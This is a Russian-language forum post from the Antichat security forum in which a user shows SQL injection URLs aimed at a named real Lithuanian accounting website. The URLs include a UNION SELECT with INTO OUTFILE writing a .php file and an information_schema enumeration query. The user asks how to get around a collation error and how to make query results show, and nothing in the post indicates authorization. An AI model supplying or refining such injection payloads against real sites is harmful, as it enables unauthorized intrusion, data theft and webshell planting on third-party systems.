HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 24.08.2016, 13:59
labanec
Новичок
Регистрация: 24.08.2016
Сообщений: 12
С нами: 5115926

Репутация: 0
По умолчанию

Здравствуйте. Если возможно, не убивайте их сайт.

Смотрел так, получил имя пользователя:

Код:
http://www.buhalteriams.lt/?id=42+union+select+user%28%29+INTO+OUTFILE+%271.php%27+--+1


Если делаю запрос

Код:
http://www.buhalteriams.lt/?id=42+union+select+table_schema+from+information_schema.tables--+1
, пишет, что локаль не совпадает(Illegal mix of collations for operation 'UNION').

Пробовал другие запросы (к примеру для вывода user()) - ошибок не выводит но и ничего не показывает.

Подскажите как можно обойти проблемму локали. И как заставить показывать результат запроса, если ошибок нету ? Спасибо.
 
Ответить с цитированием
 



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.